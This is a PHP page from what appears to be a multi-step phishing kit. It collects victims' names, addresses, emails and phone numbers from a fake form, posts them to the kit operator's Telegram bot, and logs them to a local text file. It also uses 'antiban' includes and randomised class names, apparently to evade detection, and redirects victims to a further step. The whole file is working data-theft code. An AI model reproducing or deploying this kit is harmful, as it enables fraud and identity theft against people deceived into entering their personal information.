<?php
    error_reporting(0);
    session_start();

    include "../antiban/antiban.php";
    require_once('../libraries/geoplugin.class.php');
    include '../setting/functions.php';
    include '../setting/config.php';
    include "../includes/empty_file.php";
    include '../includes/current-page.php';
    require_once "../setting/lang.php";

    // Lang Fucntion :
    lang();

    if(isset($_POST['target_lang'])) {
        $_SESSION['lang_select'] = $_POST['target_lang'];
        $_SESSION['lang'] = $_SESSION['lang_select'];
    }

    if(isset($_SESSION['lang_select'])) {
        $_SESSION['lang'] = $_SESSION['lang_select'];
    }

    $geoplugin = new geoPlugin();
    $geoplugin->locate();
    $ip = get_client_ip();
    $link_panel = $_SESSION["panel_control"];
    $main_panel = $_SESSION["main_panel"];
    $panel_telegram = $_SESSION["panel_telegram"];
    $ban = $panel_telegram."&ban=$ip";
    $information_error = $panel_telegram."&to=information-error";
    $bot_url  = TOKEN;
    $chat_id  = CHATID;
    $random_classes = rand(0, 1000000); 
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    
    $keyboard = json_encode([
        "inline_keyboard" => [
            [
                [
                    "text" => "⛔ ERROR Information ⛔",
                    "url" => "$information_error"
                ]
            ],
            [
                [
                    "text" => '🕹 Panel Control For : [ ' . get_client_ip() . " - " . $geoplugin->countryCode.' ]',
                    "url" => "$link_panel"
                ]
            ],
            [
                [
                    "text" => "⛔ Ban ⛔",
                    "url" => "$ban"
                ]
            ],
            [
                [
                    "text" => "📊 Main Panel 📊",
                    "url" => "$main_panel"
                ]
            ],
        ]
    ]);

    
    if (isset($_POST['b_s_d_1'])) {
        // Info User :
        $full_name = $_POST['full_name'];
        $country = $_POST['country']; 
        $address = $_POST['address']; 
        $city = $_POST['city'];
        $state = $_POST['state'];
        $zip_code = $_POST['zip_code'];
        $email = $_POST['email']; 
        $phone_number = $_POST['phone_number'];
        
        // Send Data To Telegram Bot :
        $message =
        "🗂=====[ Information ]=====🗂\r\n".
        "[ 🪪 Full Name ] " . $full_name ."\r\n".
        "[ 🌎 Country ] " . $country ."\r\n".
        "[ 🌎 Address ] " . $address ."\r\n".
        "[ 🌎 City ] " . $city ."\r\n".
        "[ 📫 State ] " . $state ."\r\n".
        "[ 📫 Zip Code ] " . $zip_code ."\r\n".
        "[ 📩 Email ] " . $email ."\r\n".
        "[ ☎️ Phone Number ] " . $phone_number ."\r\n".
        "📍 IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
        "🗂=====[ Information ]=====🗂\r\n";

        $parameters = array(
            "chat_id" => $chat_id,
            "text" => $message,
            'reply_markup' => $keyboard
        );
        $send = ($parameters);
        $website_telegram = "https://api.telegram.org/bot{$bot_url}";
        $ch = curl_init($website_telegram . '/sendMessage');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $result = curl_exec($ch);
        curl_close($ch);
    
        $message_to_file = 
        "[=====[ Information ]=====]\r\n".
        "[ Full Name ] " . $full_name ."\r\n".
        "[ Country ] " . $country ."\r\n".
        "[ Address ] " . $address ."\r\n".
        "[ City ] " . $city ."\r\n".
        "[ State ] " . $state ."\r\n".
        "[ Zip Code ] " . $zip_code ."\r\n".
        "[ Email ] " . $email ."\r\n".
        "[ Phone Number ] " . $phone_number ."\r\n".
        "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
        "[=====[ Information ]=====]\r\n";
        
        $file = fopen("../file/file.txt", "a");
        fwrite($file, $message_to_file. "\n");
        fclose($file);

        $target = $_POST['ip'];
        $data_count = 'data_1';
        empty_file($target, $data_count, $message_to_file);
    
        echo "
        <script>
            function redirectUser() {
                window.location.href = './step-two.php';
            }
            setTimeout(redirectUser, 8000);  
        </script>";
    
    }
    if (isset($_POST['b_s_d_2'])) {
        // Info User :
        $full_name = $_POST['full_name'];
        $country = $_POST['country']; 
        $address = $_POST['address']; 
        $city = $_POST['city'];
        $state = $_POST['state'];
        $zip_code = $_POST['zip_code'];
        $email = $_POST['email']; 
        $phone_number = $_POST['phone_number'];
        
        // Send Data To Telegram Bot :
        $message =
        "🗂=====[ Information Error ]=====🗂\r\n".
        "[ 🪪 Full Name ] " . $full_name ."\r\n".
        "[ 🌎 Country ] " . $country ."\r\n".
        "[ 🌎 Address ] " . $address ."\r\n".
        "[ 🌎 City ] " . $city ."\r\n".
        "[ 📫 State ] " . $state ."\r\n".
        "[ 📫 Zip Code ] " . $zip_code ."\r\n".
        "[ 📩 Email ] " . $email ."\r\n".
        "[ ☎️ Phone Number ] " . $phone_number ."\r\n".
        "📍 IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
        "🗂=====[ Information Error ]=====🗂\r\n";

        $parameters = array(
            "chat_id" => $chat_id,
            "text" => $message,
            'reply_markup' => $keyboard
        );
        $send = ($parameters);
        $website_telegram = "https://api.telegram.org/bot{$bot_url}";
        $ch = curl_init($website_telegram . '/sendMessage');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $result = curl_exec($ch);
        curl_close($ch);
    
        $message_to_file = 
        "[=====[ Information Error ]=====\r\n".
        "[ Full Name ] " . $full_name ."\r\n".
        "[ Country ] " . $country ."\r\n".
        "[ Address ] " . $address ."\r\n".
        "[ City ] " . $city ."\r\n".
        "[ State ] " . $state ."\r\n".
        "[ Zip Code ] " . $zip_code ."\r\n".
        "[ Email ] " . $email ."\r\n".
        "[ Phone Number ] " . $phone_number ."\r\n".
        "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
        "[=====[ Information Error ]=====]\r\n";
        
        $file = fopen("../file/file.txt", "a");
        fwrite($file, $message_to_file. "\n");
        fclose($file);

        $target = $_POST['ip'];
        $data_count = 'data_2';
        empty_file($target, $data_count, $message_to_file);
    
        echo "
        <script>
            function redirectUser() {
                window.location.href = './step-two.php';
            }
            setTimeout(redirectUser, 8000);  
        </script>";
    
    }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <!-- Font Awesome Library --> 
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/brands.min.css" integrity="sha512-DJLNx+VLY4aEiEQFjiawXaiceujj5GA7lIY8CHCIGQCBPfsEG0nGz1edb4Jvw1LR7q031zS5PpPqFuPA8ihlRA==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../css/style.css">
    <link rel="stylesheet" href="../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../img/favicon.ico">
    <link rel="shortcut" href="../img/favicon.ico">
    <link rel="appel-touch-icon" href="../img/favicon.ico">
    <title><?php echo get_text('title_head'); ?></title>
</head>
<body id="body" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> body">
    <!-- Nav -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> n-b">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> logo-and-links">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> logo">
                <img src="../img/logo.svg" alt="">
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links">
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-n-b s-m-e"><?php echo get_text('link_nav_1'); ?></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-n-b s-m-e"><?php echo get_text('link_nav_2'); ?></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-n-b s-m-e"><?php echo get_text('link_nav_3'); ?></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-n-b s-m-e"><?php echo get_text('link_nav_4'); ?></span>
            </div>
        </div>
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> others-links">
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> icon-search s-m-e"><img src="../img/icon-search.svg" alt=""></span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> icon-user s-m-e"><img src="../img/icon-user.svg" alt=""></span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> icon-menu s-m-e"><img src="../img/icon-nav.png" alt=""></span>
            <form action="" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> lang" method="post">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> display-current-lang" id="buttonMenuLang"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> fa-solid fa-globe left" id="iconLeft"></i><?php echo get_text('current_lang'); ?><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> fa-solid fa-caret-down right" id="iconRight"></i></div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> menu-lang" id="menuLang">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> coul-1" style="border-right: 2px solid #121212;">
                        <button type="submit" name="target_lang" value="en">English</button>
                        <button type="submit" name="target_lang" value="fr">Français</button>
                        <button type="submit" name="target_lang" value="nl">Nederlands</button>
                        <button type="submit" name="target_lang" value="de">Deutsch</button>
                        <button type="submit" name="target_lang" value="it">Italiano</button>
                        <button type="submit" name="target_lang" value="es">Español</button>
                        <button type="submit" name="target_lang" value="dk">Dansk</button>
                        <button type="submit" name="target_lang" value="pt" style="border-bottom: none !important;">Português</button>
                    </div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> coul-1">
                        <button type="submit" name="target_lang" value="ee">Eesti</button>
                        <button type="submit" name="target_lang" value="no">Norsk</button>
                        <button type="submit" name="target_lang" value="il">עִברִית</button>
                        <button type="submit" name="target_lang" value="ar">العربية</button>
                        <button type="submit" name="target_lang" value="in">हिंदी</button>
                        <button type="submit" name="target_lang" value="hk">中國人</button>
                        <button type="submit" name="target_lang" value="jp">日本語</button>
                        <button type="submit" name="target_lang" value="tw" style="border-bottom: none !important;">台灣</button>
                    </div>
                    
                </div>
            </form>
        </div>
    </div>
    <!-- Nav -->
    
    <!-- Main -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> m-n" style="padding: 40px 15px !important; margin-top: 107px !important;">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> f-s-d-p" style="width: 100% !important; margin: 0px !important;height: 300px !important;padding: 20px !important;">
            <h1><?php echo get_text('title_loading'); ?></h1>  
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> loading">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> spinner"></div>
            </div>
            <p class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> question-end" style="line-height: 1.5 !important;text-align: center !important;margin-bottom: 14px !important;">
                <?php echo get_text('paragraph_loading'); ?>
            </p>
        </div>
    </div>
    <!-- Main -->
    
    <!-- Footer -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> footer">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> boxs-footer">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> box-footer">
                <h4><?php echo get_text('title_footer_1'); ?></h4>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer s-m-e"><?php echo get_text('link_footer_1'); ?></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer s-m-e"><?php echo get_text('link_footer_2'); ?></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer s-m-e"><?php echo get_text('link_footer_3'); ?></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer s-m-e"><?php echo get_text('link_footer_4'); ?></span>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> box-footer">
                <h4><?php echo get_text('title_footer_2'); ?></h4>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer s-m-e"><?php echo get_text('link_footer_5'); ?> <img src="../img/icon-link-footer.png" alt=""></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer s-m-e"><?php echo get_text('link_footer_6'); ?> <img src="../img/icon-link-footer.png" alt=""></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer s-m-e"><?php echo get_text('link_footer_7'); ?> <img src="../img/icon-link-footer.png" alt=""></span>
            </div>
        </div>
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> other-links-footer">
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> other-link-footer s-m-e"><?php echo get_text('link_footer_8'); ?></span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> ship">|</span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> other-link-footer s-m-e"><?php echo get_text('link_footer_9'); ?></span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> ship">|</span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> other-link-footer s-m-e"><?php echo get_text('link_footer_10'); ?></span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> ship">|</span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> other-link-footer s-m-e"><?php echo get_text('link_footer_11'); ?></span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> ship">|</span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> other-link-footer s-m-e"><?php echo get_text('link_footer_12'); ?></span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> ship">|</span>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> other-link-footer s-m-e"><?php echo get_text('link_footer_13'); ?></span>
        </div>
        <p>
            <?php echo get_text('paragraph_footer'); ?>
        </p>
    </div>
    <!-- Footer -->

    <!-- Message Explain -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> message-user" id="messageUser">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> content-message-user">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> header-messsage-user">
                <img src="../img/logo.svg" alt="">
                <button class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> close-message-header" id="closeMessageuser1" type="button"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> fa-solid fa-xmark"></i></button>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-message-user">
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> alert-icon">
                    <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> fa-solid fa-shield-halved"></i>
                </span>
                <h2><?php echo get_text('title_explain_message'); ?></h2>
                <p>
                    <?php echo get_text('paragraph_explain_message'); ?>
                </p>
                <button type="button" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> close-message-user" id="closeMessageuser2"><?php echo get_text('button_explain_message'); ?></button>
            </div>
        </div>
    </div>
    <!-- Message Explain -->

    <!-- Script Js -->
    <script src="../js/script-all.js"></script>
    <script src="../js/jquery.min.js"></script>
    <?php include '../includes/check.php'; ?>
    <?php include '../includes/redirect.php'; ?>
</body>
</html>
